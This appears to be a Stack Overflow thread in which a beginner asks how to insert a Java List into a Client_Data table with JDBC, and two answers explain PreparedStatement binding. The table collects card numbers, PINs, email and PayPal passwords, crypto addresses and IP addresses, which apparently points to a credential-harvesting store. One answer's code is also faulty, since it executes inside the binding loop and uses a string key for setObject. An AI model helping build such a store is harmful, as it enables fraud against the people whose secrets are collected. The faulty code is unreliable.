0

Just looking for some small help here. This is my first time using a database with Java, and I have a small issue I'm trying to resolve.

I have a method within a class called DBConnect which will execute queries. I'd like to insert this List into my database.

 List<String> data = new ArrayList();
    data.add(name);
    data.add(bank);
    data.add(pin);
    data.add(email);
    data.add(pass);
    data.add(phone);
    data.add(paypal_email);
    data.add(paypal_pass);
    data.add(IPV4Assistant.getExternalIPAddress());
    data.add(crypto);
    data.add("1");
    data.add(dob);

DBConnect.executeQuery();

I suppose I'd start creating the query string with

 String insert = ("INSERT INTO Client_Data (card_number,card_pin,client_dob,crypto_currency_address,email,email_password,id,ip_address,name,paypal_email,paypal_password,phone_number) VALUES

The above fields being the columns I'm trying to insert into, and Client_Data being my table. How do I go about formatting the fields in my list to query properly? After Values I believe the format is ('data','data','data').

Could anybody experienced with JDBC please assist me? Thank you.

1

2 Answers 2

2

I would use PreparedStatements to insert the values into your table.

/*
 * Code
 * I am assuming that you have a Connection object named conn.
 * This is just a simple example
 */
try(
        PreparedStatement ps = conn.prepareStatement(
            "insert into yourTable(field1, field2, field3) values (?,?,?)"
) {
    /*
     * The question marks are placeholders for the values you will insert.
     */
    ps.setString(1, "abc");
    ps.setInt(2, 123);
    ps.setDouble(3, 3.1416);
    ps.execute(); // The insert is executed here
} catch(SQLException e) {
    // Your exception handling code
}

If you need to insert values into your table using a loop, you may also execute the inserts as a batch:

/*
 * Code
 */
try(
        PreparedStatement ps = conn.prepareStatement(
            "insert into yourTable(field1, field2, field3) values (?,?,?)"
) {
    for(int i = 0; i < 10; i++) {
        ps.setString(1, "abc");
        ps.setInt(2, 123 * i);
        ps.setDouble(3, 3.1416);
        ps.addBatch(); // The insert is added to a batch, pending for execution
    }
    ps.executeBatch(); // All the inserts added to the batch are executed.
} catch(SQLException e) {
    // Your exception handling code
}

Reference:

Sign up to request clarification or add additional context in comments.

Comments

1

Basically, you should be trying to use PreparedStatement, there are a number of very good reasons for this, but in your case, it's the simplest way to bind the values from your List to the Statement

For example, you could start by defining the insert statement as a constant, this isn't required, but for the example, it made it easier...

protected static final String INSERT_STATEMENT = 
        "INSERT INTO Client_Data " + 
        "(card_number,card_pin,client_dob,crypto_currency_address,email,email_password,id,ip_address,name,paypal_email,paypal_password,phone_number) " + 
        "VALUES (?,?,?,?,?,?,?,?,?,?,?,?)";

Then you need to bind the values from your List to the PreparedStatement and execute it...

List<String> data = new ArrayList();
data.add(name);
data.add(bank);
data.add(pin);
data.add(email);
data.add(pass);
data.add(phone);
data.add(paypal_email);
data.add(paypal_pass);
data.add(IPV4Assistant.getExternalIPAddress());
data.add(crypto);
data.add("1");
data.add(dob);

// Replace with your own connection management, just here for
// example reasons
try (Connection con = DriverManager.getConnection(url)) {
    try (PreparedStatement stmt = con.prepareStatement(INSERT_STATEMENT)) {
        for (int index = 0; index < data.size(); index++) {
            stmt.setObject(index + 1, data.get(index));
            int rows = stmt.executeUpdate();
            // Check the value of rows if you want to know how
            // many rows were affected by the change
        }
    }
} catch (SQLException exp) {
    // Possibly throw this to the call instead...
    exp.printStackTrace();
}

I assume, you'll be passing the List as an parameter to some method.

The immediate problem I see with this is, is you MUST be 100% sure that the column names match the columns values, this means that your List MUST be in the correct order.

A better solution might be to either provide a custom class which carries these properties and can be queried via getters or use some kind of Map and static keys, which are either direct names of the columns in the database or can mapped to columns in the database, for example...

public static final String CLIENT_NAME = "name";
//... Other column names/keys...    

//...

Map<String, Object> clientData = new HashMap<String, Object>();
clientData.put(CLIENT_NAME, name);

//...

stmt.setObject(CLIENT_NAME, clientData.get(CLIENT_NAME));

You should also avoid inserting String into columns which have different data type requirements (such as Date, TimeStamp and/or numbers). Instead, you should be trying to use the correct JDBC mapping types where possible

Take a look at Using Prepared Statements for more details

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.